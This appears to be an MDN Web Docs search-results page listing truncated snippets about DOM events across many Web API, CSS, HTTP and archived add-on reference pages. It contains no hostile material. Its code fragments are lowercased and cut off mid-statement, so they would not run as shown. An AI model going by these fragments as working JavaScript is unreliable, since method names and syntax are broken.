the datatransfer.mozusercancelled property is used in the dragend event handler to determine if the user canceled the drag or not.
... if the user canceled the event, the property returns true and returns false otherwise.
... this property only applies to the dragend event.
...And 3 more matches
Using FormData Objects - Web APIs
ize="32" maxlength="64" /><br /> <label>custom file label:</label> <input type="text" name="filelabel" size="12" maxlength="32" /><br /> <label>file to stash:</label> <input type="file" name="file" required /> <input type="submit" value="stash the file!" /> </form> <div></div> then you can send it using code like the following: var form = document.forms.nameditem("fileinfo"); form.addeventlistener('submit', function(ev) { var ooutput = document.queryselector("div"), odata = new formdata(form); odata.append("customfield", "this is some extra data"); var oreq = new xmlhttprequest(); oreq.open("post", "stash.php", true); oreq.onload = function(oevent) { if (oreq.status == 200) { ooutput.innerhtml = "uploaded!"; } else { ooutput.innerhtml = "error...
... " + oreq.status + " occurred when trying to upload your file.<br \/>"; } }; oreq.send(odata); ev.preventdefault(); }, false); note: if you pass in a reference to the form, the request method specified in the form will be used over the method specified in the open() call.
... using a formdata event a more recent addition to the platform than the formdata object is the formdata event — this is fired on an htmlformelement object after the entry list representing the form's data is constructed.
...And 3 more matches
Frame Timing API - Web APIs
the performanceframetiming interface provides frame timing data about the browser's event loop.
... a frame represents the amount of work a browser does in one event loop iteration such as processing dom events, resizing, scrolling, rendering, css animations, etc.
...the observer (callback) will be notified when new "frame" events are added to the browser's performance timeline and the frame's duration (length of time) will be available.
...And 3 more matches
HTMLElement.focus() - Web APIs
the focused element is the element which will receive keyboard and similar events by default.
...this object may contain the following property: preventscroll optional a boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view.
... a value of false for preventscroll (the default) means that the browser will scroll the element into view after focusing it.
...And 3 more matches
IDBDatabase.transaction() - Web APIs
in firefox 40+ the complete event is fired after the os has been told to write the data but potentially before that data has actually been flushed to disk.
... the complete event may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the os crashes or there is a loss of system power before the data is flushed to disk.
... since such catastrophic events are rare most consumers should not need to concern themselves further.
...And 3 more matches
IDBOpenDBRequest.onblocked - Web APIs
the onblocked event handler of the idbopendbrequest interface is the event handler for the blocked event.
... this event is triggered when the upgradeneeded should be triggered because of a version change but the database is still in use (that is, not closed) somewhere, even after the versionchange event was sent.
... syntax idbopendbrequest.onblocked = function(event) { ...
...And 3 more matches
MediaDevices.ondevicechange - Web APIs
the mediadevices.ondevicechange property is an eventhandler which specifies a function to be called when the devicechange event occurs on a mediadevices instance.
... syntax mediadevices.ondevicechange = eventhandler; value a function you provide which accepts as input a event object describing the devicechange event that occurred.
... there is no information about the change included in the event object; to get the updated list of devices, you'll have to use enumeratedevices().
...And 3 more matches
MediaRecorder.onerror - Web APIs
the mediarecorder interface's onerror event handler is called by the mediastream recording api when an error occurs.
... you can provide an event handler to deal with errors that occur while creating or using a media recorder.
... the error object is of type mediarecordererrorevent, and its error property contains a domexception object that describes the error that occurred.
...And 3 more matches
MediaStream.onaddtrack - Web APIs
the mediastream.onaddtrack property is an eventhandler which specifies a function to be called when the addtrack event occurs on a mediastream instance.
...this event is fired when the browser adds a track to the stream (such as when a rtcpeerconnection is renegotiated or a stream being captured using htmlmediaelement.capturestream() gets a new set of tracks because the media element being captured loaded a new source.
... the addtrack event does not get fired when javascript code explicitly adds tracks to the stream (by calling addtrack()).
...And 3 more matches
MediaStream.onremovetrack - Web APIs
the mediastream.onremovetrack property is an eventhandler which specifies a function to be called when the removetrack event occurs on a mediastream instance.
...this event is fired when the browser removes a track from the stream (such as when a rtcpeerconnection is renegotiated or a stream being captured using htmlmediaelement.capturestream() gets a new set of tracks because the media element being captured loaded a new source.
... the removetrack event does not get fired when javascript code explicitly removes tracks from the stream (by calling removetrack()).
...And 3 more matches
MediaStreamTrack.onended - Web APIs
the mediastreamtrack.onended event handler is used to specify a function which serves as an eventhandler to be called when the ended event occurs on the track.
... this event occurs when the track will no longer provide data to the stream for any reason, including the end of the media input being reached, the user revoking needed permissions, the source device being removed, or the remote peer ending a connection.
... syntax mediastreamtrack.onended = function; value a function to serve as an eventhandler for the ended event.
...And 3 more matches
MediaStreamTrack.onunmute - Web APIs
mediastreamtrack's onunmute event handler is called when the unmute event is received.
... such an event is sent when the track is again able to send data.
... when the onunmute event handler is called, the track's muted flag is false.
...And 3 more matches
MediaStreamTrack - Web APIs
events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface: ended sent when playback of the track ends (when the value readystate changes to ended).
... also available using the onended event handler property.
... also available using the onmute event handler property.
...And 3 more matches
Capabilities, constraints, and settings - Web APIs
to collect a list of the available devices, you can call navigator.mediadevices.enumeratedevices(), then for each device which meets the desired criteria, add its deviceid to the mediaconstraints object that eventually gets passed into getusermedia().
... then we set up a promise which resolves when the onloadedmetadata event occurs on the video element.
... we also need to set up an event listener to watch for the "start video" button to be clicked: document.getelementbyid("startbutton").addeventlistener("click", function() { startvideo(); }, false); applying constraint set updates next, we set up an event listener for the "apply constraints" button.
...And 3 more matches
MessagePort - Web APIs
methods inherits methods from its parent, eventtarget postmessage() sends a message from the port, and optionally, transfers ownership of objects to other browsing contexts.
... start() starts the sending of messages queued on the port (only needed when using eventtarget.addeventlistener; it is implied when using messageport.onmessage.) close() disconnects the port, so it is no longer active.
... event handlers inherits event handlers from its parent, eventtarget onmessage an eventlistener called when messageevent of type message is fired on the port—that is, when the port receives a message.
...And 3 more matches
OfflineAudioContext - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...a xlink:href="/docs/web/api/offlineaudiocontext" target="_top"><rect x="311" y="1" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">offlineaudiocontext</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor offlineaudiocontext.offlineaudiocontext() creates a new offlineaudiocontext instance.
... event handlers offlineaudiocontext.oncomplete is an eventhandler called when processing is terminated, that is when the complete event (of type offlineaudiocompletionevent) is raised, after the event-based version of offlineaudiocontext.startrendering() is used.
...And 3 more matches
Payment Request API - Web APIs
paymentrequestevent an event delivered to a payment handler when a paymentrequest is made.
... paymentrequestupdateevent enables the web page to update the details of the payment request in response to a user action.
... paymentmethodchangeevent represents the user changing payment instrument (e.g., switching from a credit card to debit card).
...And 3 more matches
Using Performance Timeline - Web APIs
the standard also includes interfaces that allow an application to be notified when specific performance events occur.
...ar pe = pelist[0]; if (pe.tojson === undefined) { log ("performanceentry.tojson() is not supported"); return; } // print the performanceentry object var json = pe.tojson(); var s = json.stringify(json); log("performanceentry.tojson = " + s); } performance observers the performance observer interfaces allow an application to register an observer for specific performance event types, and when one of those event types is recorded, the application is notified of the event via the observer's callback function that was specified at the time, the observer was created.
...that is, the list only contains entries for the event types that were specified when the observer's observe() method was invoked.
...And 3 more matches
Push API - Web APIs
WebAPIPush API
see the following articles for more information: cross-site request forgery (csrf) prevention cheat sheet preventing csrf and xsrf attacks for an app to receive push messages, it has to have an active service worker.
... the service worker will be started as necessary to handle incoming push messages, which are delivered to the serviceworkerglobalscope.onpush event handler.
... interfaces pushevent represents a push action, sent to the global scope of a serviceworker.
...And 3 more matches
RTCDataChannel.bufferedAmountLowThreshold - Web APIs
when the number of buffered outgoing bytes, as indicated by the bufferedamount property, falls to or below this value, a bufferedamountlow event is fired.
... this event may be used, for example, to implement code which queues more messages to be sent whenever there's room to buffer them.
... listeners may be added with onbufferedamountlow or addeventlistener().
...And 3 more matches
RTCDataChannel.onclose - Web APIs
the rtcdatachannel.onclose property is an eventhandler which specifies a function to be called by the browser when the close event is received by the rtcdatachannel.
... this is a simple event which indicates that the data channel has closed down.
... syntax rtcdatachannel.onclose = function; value a function which the browser will call to handle the close event.
...And 3 more matches
RTCDataChannel.onerror - Web APIs
the rtcdatachannel.onerror property is an eventhandler which specifies a function to be called when the error event is received.
... when an error occurs on the data channel, the function receives as input an errorevent object describing the error which occurred.
... syntax rtcdatachannel.onerror = function; value a function which the browser will call to handle the error event when it occurs on the data channel.
...And 3 more matches
RTCDataChannel.onmessage - Web APIs
the rtcdatachannel.onmessage property stores an eventhandler which specifies a function to be called when the message event is fired on the channel.
... this event is represented by the messageevent interface.
... this event is sent to the channel when a message is received from the other peer.
...And 3 more matches
RTCIceTransport.onselectedcandidatepairchange - Web APIs
the rtcicetransport interface's onselectedcandidatepairchange event handler specifies a function to be called to handle the selectedcandidatepairchange event, which is fired when the ice agent selects a new candidate pair to be used for the connection.
... syntax rtcicetransport.onselectedcandidatepairchange = candidatepairhandler; value this propoerty should be set to reference an event handler function to be called by the ice agent when it discovers a new candidate pair that the rtcicetransport will be using for communication with the remote peer.
... this event will occur at least once, and may occur more than once if the ice agent continues to identify candidate pairs that will work better, more closely match the requested parameters, and so forth.
...And 3 more matches
RTCPeerConnection.onicecandidateerror - Web APIs
the rtcpeerconnection.onicecandidateerror property is an eventhandler which specifies a function which is called to handle the icecandidateerror event when it occurs on an rtcpeerconnection instance.
... this event is fired when an error occurs during the ice candidate gathering process.
... syntax rtcpeerconnection.onicecandidateerror = eventhandler; value this should be set to a function you provide which is passed a single parameter: an rtcpeerconnectioniceerrorevent object describing the icecandidateerror event.
...And 3 more matches
RTCPeerConnection.onidpassertionerror - Web APIs
the rtcpeerconnection.onidpassertionerror event handler is a property containing the code to execute whent the idpassertionerror event, of type rtcidentityerrorevent, is received by this rtcpeerconnection.
... such an event is sent when the associated identity provider (idp) encounters an error while generating an identity assertion.
... this event handler is deprecated.
...And 3 more matches
RTCPeerConnection.onidpvalidationerror - Web APIs
the rtcpeerconnection.onidpvalidationerror event handler is a property containing the code to execute whent the idpvalidationerror event, of type rtcidentityerrorevent, is received by this rtcpeerconnection.
... such an event is sent when the associated identity provider (idp) encounters an error while validating an identity assertion.
... this event handler is obsolete.
...And 3 more matches
RTCPeerConnection.onpeeridentity - Web APIs
the rtcpeerconnection.onpeeridentity event handler is a property containing the code to execute whent the peeridentity event, of type event, is received by this rtcpeerconnection.
... such an event is sent when an identity assertion, received from a peer, has been successfully validated.
... this event handler is obsolete.
...And 3 more matches
RTCPeerConnection.onsignalingstatechange - Web APIs
the onsignalingstatechange event handler property of the rtcpeerconnection interface specifies a function to be called when the signalingstatechange event occurs on an rtcpeerconnection interface.
... the function receives as input the event object of type event; this event is sent when the peer connection's signalingstate changes, which may happen either because of a call to setlocaldescription() or to setremotedescription().
... syntax rtcpeerconnection.onsignalingstatechange = errorhandler; value set this to a function which you provide that receives an event object as input; this contains the signalingstatechange event.
...And 3 more matches
SVGAnimationElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
... xlink:href="/docs/web/api/svganimationelement" target="_top"><rect x="291" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="386" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimationelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgelement.
... events listen to these events using addeventlistener() or by assigning an event listener to the on...
...And 3 more matches
Screen - Web APIs
WebAPIScreen
events handler screen.onorientationchange a handler for the orientationchange event.
... methods screen.lockorientation lock the screen orientation (only works in fullscreen or for installed apps) screen.unlockorientation unlock the screen orientation (only works in fullscreen or for installed apps) methods inherited from eventtarget: eventtarget.addeventlistener() registers an event handler of a specific event type on the eventtarget.
... eventtarget.removeeventlistener() removes an event listener from the eventtarget.
...And 3 more matches
Screen Wake Lock API - Web APIs
the screen wake lock api provides a way to prevent devices from dimming or locking the screen when an application needs to keep running.
... the screen wake lock api prevents the screen from turning off, dimming or locking.
... screen wake lock api interfaces wakelock the wakelock interface prevents device screens from dimming or locking when an application needs to keep running.
...And 3 more matches
ServiceWorker.onstatechange - Web APIs
an eventlistener property called whenever an event of type statechange is fired; it is basically fired anytime the serviceworker.state changes.
... syntax serviceworker.onstatechange = function(statechangeevent) { ...
... } serviceworker.addeventlistener('statechange', function(statechangeevent) { ...
...And 3 more matches
ServiceWorkerGlobalScope.onmessage - Web APIs
the onmessage property of the serviceworkerglobalscope interface is an event handler fired whenever a message event occurs — when incoming messages are received.
... note: service workers define the extendable event to allow extending the lifetime of the event.
... for the message event, service workers use the extendablemessageevent interface which extends the extendableevent interface.
...And 3 more matches
ServiceWorkerGlobalScope.onpush - Web APIs
the serviceworkerglobalscope.onpush event of the serviceworkerglobalscope interface is fired whenever a push message is received by a service worker via a push server.
... syntax serviceworkerglobalscope.onpush = function(pushevent) { ...
... } self.addeventlistener('push', function(pushevent) { ...
...And 3 more matches
SharedWorker - Web APIs
properties inherits properties from its parent, eventtarget, and implements properties from abstractworker.
... abstractworker.onerror is an eventlistener that is called whenever an errorevent of type error bubbles through the worker.
... methods inherits methods from its parent, eventtarget, and implements methods from abstractworker.
...And 3 more matches
SpeechRecognition - Web APIs
the speechrecognition interface of the web speech api is the controller interface for the recognition service; this also handles the speechrecognitionevent sent from the recognition service.
... properties speechrecognition also inherits properties from its parent interface, eventtarget.
... methods speechrecognition also inherits methods from its parent interface, eventtarget.
...And 3 more matches
User Timing API - Web APIs
there are two types of user defined timing event types: the "mark" event type and the "measure" event type.
... mark events are named by the application and can be set at any location in an application.
... measure events are also named by the application but they are placed between two marks thus they are effectively a midpoint between two marks.
...And 3 more matches
VideoTrackList.onchange - Web APIs
the videotracklist property onchange is an event handler which is called when the change event occurs, indicating that a videotrack in the videotracklist has been made active.
... the event is passed into the event handler in the form of an event object; the event doesn't provide any additional information.
... note: you can also add a handler for the change event using addeventlistener().
...And 3 more matches
Clearing by clicking - Web APIs
note how we embed the webgl function calls inside the event handler function.
...does not seem to support html5 canvas.</canvas> <button id="color-switcher">press here to switch color</button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : inline-block; font-size : inherit; margin : auto; padding : 0.6em; } window.addeventlistener("load", function setupwebgl (evt) { "use strict" // cleaning after ourselves.
... the event handler removes // itself, because it only needs to run once.
...And 3 more matches
Taking still photos with WebRTC - Web APIs
the startup() function the startup() function is run when the page has finished loading, courtesy of window.addeventlistener().
... this function's job is to request access to the user's webcam, initialize the output <img> to a default state, and to establish the event listeners needed to receive each frame of video from the camera and react when the button is clicked to capture an image.
...to avoid blocking until that happens, we add an event listener to video for the canplay event, which is delivered when the video playback actually begins.
...And 3 more matches
WebSocket - Web APIs
WebAPIWebSocket
websocket.onclose an event listener to be called when the connection is closed.
... websocket.onerror an event listener to be called when an error occurs.
... websocket.onmessage an event listener to be called when a message is received from the server.
...And 3 more matches
WebXR Device API - Web APIs
events which communicate tracking states will also use xrframe to contain that information.
... event interfaces the following interfaces are used to represent the events used by the webxr api.
... xrinputsourceevent sent when the state of an xrinputsource changes.
...And 3 more matches
Using the Web Animations API - Web APIs
to prevent the cake from eating itself up before the user has had the chance to click on it, we call animation.pause() on it immediately after it is defined, like so: nommingcake.pause(); we can now use the animation.play() method to run it whenever we’re ready: nommingcake.play(); specifically, we want to link it to alice’s animation, so she gets bigger as the cupcake gets eaten.
... nommingcake.play(); } when a user holds their mouse down or presses their finger on the cake on a touch screen, we can now call growalice to make all the animations play: cake.addeventlistener("mousedown", growalice, false); cake.addeventlistener("touchstart", growalice, false); other useful methods in addition to pausing and playing, we can use the following animation methods: animation.finish() skips to the end of the animation.
...this is because the bottle changes her animation’s playbackrate from 1 to -1: var shrinkalice = function() { alicechange.playbackrate = -1; alicechange.play(); } bottle.addeventlistener("mousedown", shrinkalice, false); bottle.addeventlistener("touchstart", shrinkalice, false); in through the looking-glass, alice travels to a world where she must run to stay in place — and run twice as fast to move forward!
...And 3 more matches
XRInputSource - Web APIs
the device is specific to the platform being used, but provides the direction in which it is being aimed and optionally may generate events if the user triggers performs actions using the device.
...when a squeeze action begins, such as by the user pressing the trigger or tightening their grip, a squeezestart event is sent to the xrsession.
... once the action is completed and the user has released the trigger or the grip, a squeeze event is sent.
...And 3 more matches
XRSession.onsqueeze - Web APIs
the xrsession interface's onsqueeze event handler property can be set to a function which is then invoked to handle the squeeze event that's sent when the user successfully completes a primary squeeze action on a webxr input device.
... syntax xrsession.onsqueeze = squeezehandlerfunction; value a function to be invoked whenever the xrsession receives a squeeze event.
... examples handling squeeze events for a specific hand this snippet of code adds a simple handler for the squeeze event, which responds only to events on the user's off-hand (that is, the hand that isn't their dominant hand).
...And 3 more matches
XRSystem - Web APIs
WebAPIXRSystem
properties while xrsystem directly offers no properties, it does inherit properties from its parent interface, eventtarget.
... methods in addition to inheriting methods from its parent interface, eventtarget, the xrsystem interface includes the following methods: issessionsupported() returns a promise which resolves to true if the browser supports the given xrsessionmode.
... events devicechange sent when the set of available xr devices has changed.
...And 3 more matches
ARIA: grid role - Accessibility
a-row="' + newrow + '"][data-col="' + newcol + '"]'); if (tgt && (tgt.getattribute('role')==='gridcell') ) { array.prototype.foreach.call(document.queryselectorall('[role=gridcell]'), function(el, i){ el.setattribute('tabindex', '-1'); }); tgt.setattribute('tabindex', '0'); tgt.focus(); return true; } else { return false; } } document.queryselector('table').addeventlistener("keydown", function(event) { switch (event.key) { case "arrowright": moveto(parseint(event.target.dataset.row, 10), parseint(event.target.dataset.col, 10) + 1); break; case "arrowleft": moveto(parseint(event.target.dataset.row, 10), parseint(event.target.dataset.col, 10) - 1); break; case "arrowdown": moveto(parseint(event.target.dataset.row, 10...
...) + 1, parseint(event.target.dataset.col, 10)); break; case "arrowup": moveto(parseint(event.target.dataset.row, 10) - 1, parseint(event.target.dataset.col, 10)); break; case "home": if (event.ctrlkey) { var i = 0; var result; do { var j = 0; var result; do { result = moveto(i, j); j++; } while (result == false); i++; } while (result == false); } else { moveto(parseint(event.target.dataset.row, 10), 0); } break; case "end": if (event.ctrlkey) { var i = maxrow; var result; do { var j = maxcol; do { result = moveto(i, j); j--; } while (result == fal...
...se); i--; } while (result == false); } else { moveto(parseint(event.target.dataset.row, 10), document.queryselector('[data-row="' + event.target.dataset.row + '"]:last-of-type').dataset.col); } break; case "pageup": var i = 0; var result; do { result = moveto(i, event.target.dataset.col); i++; } while (result == false); break; case "pagedown": var i = maxrow; var result; do { result = moveto(i, event.target.dataset.col); i--; } while (result == false); break; case "enter": alert(event.target.textcontent); break; } event.preventdefault(); }); html <table role="grid" aria-labelledby="calendarheader"> <caption id="calendarheader...
...And 3 more matches
Testing media queries programmatically - CSS: Cascading Style Sheets
const mediaquerylist = window.matchmedia("(orientation: portrait)"); // define a callback function for the event listener.
...mediaquerylist.addlistener(handleorientationchange); this code creates the orientation-testing media query list, then adds an event listener to it.
... the handleorientationchange() function would look at the result of the query and handle whatever we need to do on an orientation change: function handleorientationchange(evt) { if (evt.matches) { /* the viewport is currently in portrait orientation */ } else { /* the viewport is currently in landscape orientation */ } } above, we define the parameter as evt — an event object.
...And 3 more matches
HTML documentation index - HTML: Hypertext Markup Language
WebHTMLIndex
if the max attribute is valid and a non-empty value is greater than the maximum allowed by the max attribute, constraint validation will prevent form submission.
... 119 <input type="button"> element, forms, html, html forms, input, input element, input type, reference, button <input> elements of type button are rendered as simple push buttons, which can be programmed to control custom functionality anywhere on a webpage as required when assigned an event handler function (typically for the click event).
... 134 <input type="reset"> element, form button, form input, forms, html, html forms, input, input types, reference, reset button, reset <input> elements of type "reset" are rendered as buttons, with a default click event handler that resets all of the inputs in the form to their initial values.
...And 3 more matches
Browser detection using the user agent - HTTP
this is the worst reason to use user agent detection because odds are eventually all the other browsers will catch up.
...can you prevent it by adding some non-semantic <div> or <span> elements?
...all back to user agent sniffing var ua = navigator.useragent; hastouchscreen = ( /\b(blackberry|webos|iphone|iemobile)\b/i.test(ua) || /\b(android|windows phone|ipad|ipod)\b/i.test(ua) ); } } if (hastouchscreen) document.getelementbyid("examplebutton").style.padding="1em"; as for the screen size, simply use window.innerwidth and window.addeventlistener("resize", function(){ /*refresh screen size dependent things*/ }).
...And 3 more matches
CSP: script-src - HTTP
this includes not only urls loaded directly into <script> elements, but also things like inline script event handlers (onclick) and xslt stylesheets which can trigger script execution.
... 'unsafe-hashes' allows enabling specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
...And 3 more matches
Index - HTTP
WebHTTPHeadersIndex
30 csp: block-all-mixed-content csp, directive, http, mixed content, reference, security the http content-security-policy (csp) block-all-mixed-content directive prevents loading any assets using http when the page is loaded using https.
...it applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy.
...this includes not only urls loaded directly into <script> elements, but also things like inline script event handlers (onclick) and xslt stylesheets which can trigger script execution.
...And 3 more matches
Object.isFrozen() - JavaScript
var vacuouslyfrozen = object.preventextensions({}); object.isfrozen(vacuouslyfrozen); // === true // a new object with one property is also extensible, // ergo not frozen.
... var oneprop = { p: 42 }; object.isfrozen(oneprop); // === false // preventing extensions to the object still doesn't // make it frozen, because the property is still // configurable (and writable).
... object.preventextensions(oneprop); object.isfrozen(oneprop); // === false // ...but then deleting that property makes the object // vacuously frozen.
...And 3 more matches
display - SVG: Scalable Vector Graphics
WebSVGAttributedisplay
it has implications for the <tspan>, <tref>, and <altglyph> elements, event processing, for bounding box calculations and for calculation of clipping paths: if display is set to none on a <tspan>, <tref>, or <altglyph> element, then the text string is ignored for the purposes of text layout.
... regarding events, if display is set to none, the element receives no events.
... the display attribute only affects the direct rendering of a given element, whereas it does not prevent elements from being referenced by other elements.
...And 3 more matches
Scripting - SVG: Scalable Vector Graphics
WebSVGScripting
one can override default browser behaviors with the evt.preventdefault( ) method, add eventlisteners to objects with the syntax element.addeventlistener(event, function, usecapture), and set element properties with syntax svgelement.style.setproperty("fill-opacity", "0.0", "").
... preventing default behavior in event code when writing drag and drop code, sometimes you'll find that text on the page gets accidently selected while dragging.
...the evt.preventdefault() method lets you do this.
...And 3 more matches
Porting the Library Detector - Archive of obsolete content
the script listens to gbrowser's domcontentloaded event.
... finally, it listens to gbrowser's tabselect event, to update the contents of the box for that window.
...however, instead of maintaining its own state by listening for gbrowser events and updating the user interface, the content script will just run when it's loaded, collect the array of library names, and post it back to main.js: function testlibraries() { var win = unsafewindow; var librarylist = []; for(var i in ld_tests) { var passed = ld_tests[i].test(win); if (passed) { var libraryinfo = { name: i, version: passed.version }; ...
...And 2 more matches
Low-Level APIs - Archive of obsolete content
building blocks for higher level modules, such as events and worker.
... event/core the event/core module allows the creation of apis to broadcast and subscribe to events.
... event/target create objects that broadcast events.
...And 2 more matches
Creating annotations - Archive of obsolete content
olor = null; var active = false; function resetmatchedelement() { if (matchedelement) { (matchedelement).css('background-color', originalbgcolor); (matchedelement).unbind('click.annotator'); } } self.on('message', function onmessage(activation) { active = activation; if (!active) { resetmatchedelement(); } }); this selector listens for occurrences of the jquery mouseenter event.
... when a mouseenter event is triggered the selector checks whether the element is eligible for annotation.
... $('*').mouseenter(function() { if (!active || $(this).hasclass('annotated')) { return; } resetmatchedelement(); ancestor = $(this).closest("[id]"); matchedelement = $(this).first(); originalbgcolor = $(matchedelement).css('background-color'); $(matchedelement).css('background-color', 'yellow'); $(matchedelement).bind('click.annotator', function(event) { event.stoppropagation(); event.preventdefault(); self.port.emit('show', [ document.location.tostring(), $(ancestor).attr("id"), $(matchedelement).text() ] ); }); }); conversely, the add-on resets the matched element on mouseout: $('*').mouseout(function() { resetmatchedelement(); }); save this code in a new file called selector.js in yo...
...And 2 more matches
HTML to DOM - Archive of obsolete content
rame); // or // document.documentelement.appendchild(frame); // set restrictions as needed frame.webnavigation.allowauth = false; frame.webnavigation.allowimages = false; frame.webnavigation.allowjavascript = false; frame.webnavigation.allowmetaredirects = true; frame.webnavigation.allowplugins = false; frame.webnavigation.allowsubframes = false; // listen for load frame.addeventlistener("load", function (event) { // the document of the html in the dom var doc = event.originaltarget; // skip blank page or frame if (doc.location.href == "about:blank" || doc.defaultview.frameelement) return; // do something with the dom of doc alert(doc.location.href); // when done remove frame or set location "about:blank" settimeout(function (){ var...
... <vbox hidden="false" height="0"> <iframe type="content" src="" name="donkey-browser" hidden="false" id="donkey-browser" height="0"/> </vbox> then, in your extension's "load" event handler: onload: function() { donkeybrowser = document.getelementbyid("donkey-browser"); if (donkeybrowser) { donkeybrowser.style.height = "0px"; donkeybrowser.webnavigation.allowauth = true; donkeybrowser.webnavigation.allowimages = false; donkeybrowser.webnavigation.allowjavascript = false; donkeybrowser.webnavigation.allowmetaredirects = true; donkeybrowser.webnavigation.allowpl...
...ugins = false; donkeybrowser.webnavigation.allowsubframes = false; donkeybrowser.addeventlistener("domcontentloaded", function (e) { donkeyfire.donkeybrowser_onpageload(e); }, true); } with that code, we obtain a reference to the iframe element we declared in the .xul file.
...And 2 more matches
Windows - Archive of obsolete content
draggable windows to make a window draggable by clicking on the window's contents, you can use the mousedown and mousemove events.
... the following code does not care which element is clicked on, simply responding to all mousedown events equally.
... you could improve this code by checking the event.target element and only setting the startpos if the element matches some criteria.
...And 2 more matches
Installing Extensions and Themes From Web Pages - Archive of obsolete content
web script example <script type="application/javascript"> <!-- function install (aevent) { for (var a = aevent.target; a.href === undefined;) a = a.parentnode; var params = { "foo": { url: aevent.target.href, iconurl: aevent.target.getattribute("iconurl"), hash: aevent.target.getattribute("hash"), tostring: function () { return this.url; } } }; installtrigger.install(params); return false; } //--> </script> <a href="http://www.exampl...
...e.com/foo.xpi" iconurl="http://www.example.com/foo.png" hash="sha1:28857e60d043447c5f4550853f2d40770b326a13" onclick="return install(event);">install extension!</a> let's go through this piece by piece.
...users can save the xpi file to disk easily by right clicking on the link and choosing "save link as..." when the link is clicked it calls the function install passing the event object as the parameter.
...And 2 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="xulschoolhello-hello-world-button" class="toolbarbutton-1 chromeclass-toolbar-additional" label="&xulschoolhello.helloworld.label;" tooltiptext="&xulschoolhello.helloworld.tooltip;" oncommand="xulschoolchrome.browseroverlay.dosomething(event);" /> <!-- more buttons here.
... windows: /* the second and third selectors at the bottom are necessary to prevent conflicts with installed themes.
...olbarbutton, window:not([active="true"]) toolbarbutton.xulschoolhello-toolbarbutton, toolbar[iconsize="small"] toolbarbutton.xulschoolhello-toolbarbutton { list-style-image: url("chrome://xulschoolhello-os/skin/toolbar.png"); } #xulschoolhello-hello-world-button { -moz-image-region: rect(0px, 16px, 16px, 0px); } mac os x: /* the second and third selectors at the bottom are necessary to prevent conflicts with installed themes.
...And 2 more matches
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
add-ons normally run code at startup, and as it is covered in the main tutorial, all you need is a load event handler and a little code.
... install scripts just like with a regular initialization function, we want a load event handler: // rest of overlay code goes here.
... window.addeventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); then all we need is some persistent flag that ensures that the first run code is only run once.
...And 2 more matches
MozBeforeResize - Archive of obsolete content
the mozbeforeresize event is executed before a browser window is resized.
... general info specification mozilla specific interface event bubbles no cancelable no target window default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... type read only domstring the type of event.
...And 2 more matches
MozOrientation - Archive of obsolete content
warning: this experimental api was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3), when support for the standard deviceorientationevent was implemented.
... an event that is repeatedly fired on the window as accelerator data is provided to the browser.
... in firefox versions 3.6, 4, and 5 gecko utilized mozorientation which was also built to support orientation data but with different apis from the specified deviceorientationevent.
...And 2 more matches
PyDOM - Archive of obsolete content
note that we don't actually 'import' anything here - the scripts and event handlers do not exist in a python module.
... an event handler like: <button onclick="print foo"/> should be able to reference 'foo' via globals as shown.
...for example, let's say you have xul similar to pyxultest: top-level script code says something like: button = document.getelementbyid("some-button") button.foo = 0 and the button itself might look like: <button id="some-button" label="click here" onclick="event.target.foo += 1; print 'foo is now', event.target.foo"/> note that (a) we have stuck an arbitrary attribute on a dom element and (b) in all cases (e.g., event handler and top-level script), the dom node needs to be explicitly specified - the globals are the window itself.
...And 2 more matches
DOMMenuItemActive - Archive of obsolete content
the dommenuitemactive event is executed when a <menu> or a <menuitem> has been hovered or highlighted.
... general info specification xul interface event bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... type read only domstring the type of event.
...And 2 more matches
DOMMenuItemInactive - Archive of obsolete content
